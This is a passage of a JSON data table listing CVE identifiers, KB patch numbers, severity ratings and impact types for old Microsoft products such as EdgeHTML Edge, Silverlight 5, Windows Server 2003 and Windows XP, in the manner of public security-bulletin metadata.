Execution"},{"cve":"CVE-2018-0860","kb":"4074596","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088786","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088786","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093111","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103716","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103716","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338829","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343892","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471323","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480962","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480962","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows Server 2016":[{"cve":"CVE-2016-7200","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11764","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11811","kb":"4041691","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11861","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11873","kb":"4048953","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11893","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11909","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11911","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11914","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-11918","kb":"4053579","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8496","kb":"4022715","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8548","kb":"4022715","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8601","kb":"4025339","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8635","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8636","kb":"4034658","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8731","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8734","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2017-8755","kb":"4038782","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0758","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0769","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0770","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0776","kb":"4056890","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0777","kb":"4056890","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0780","kb":"4056890","severity":"Moderate","impact":"Information Disclosure"},{"cve":"CVE-2018-0834","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0835","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0837","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0838","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0840","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0859","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0860","kb":"4074590","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0891","kb":"4088787","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-0933","kb":"4088787","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0934","kb":"4088787","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-0953","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-0980","kb":"4093119","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8133","kb":"4103723","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8145","kb":"4103723","severity":"Low","impact":"Information Disclosure"},{"cve":"CVE-2018-8288","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8291","kb":"4338814","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2018-8355","kb":"4343887","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8617","kb":"4471321","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480961","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480961","severity":"Low","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480961","severity":"Moderate","impact":"Remote Code Execution"}],"Microsoft Edge (EdgeHTML-based) on Windows Server 2019":[{"cve":"CVE-2018-8617","kb":"4471332","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0539","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0566","kb":"4480116","severity":"Low","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0567","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2019-0568","kb":"4480116","severity":"Moderate","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (32-bit)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (x64-based)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows clients":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows servers":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on Microsoft Windows (32-bit)":[{"cve":"CVE-2015-2433","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3080333","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows clients":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows servers":[{"cve":"CVE-2017-0005","kb":"4013867","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows 2000 Service Pack 4":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 Service Pack 1":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418241","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 1":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2898856","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows Server 2003 x64 Edition":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"}],"Microsoft Windows Server 2003 x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-5416","kb":"960082","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2898856","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4076","kb":"2989935","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4971","kb":"2993254","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (32-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (64-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (32-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-3324","kb":"2345304","severity":"Important","impact":"Information Disclosure"}],"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (64-bit version)":[{"cve":"CVE-2010-0817","kb":"983444","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-3324","kb":"2345304","severity":"Important","impact":"Information Disclosure"}],"Microsoft Windows XP":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Professional x64 Edition":[{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Professional x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973354","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information 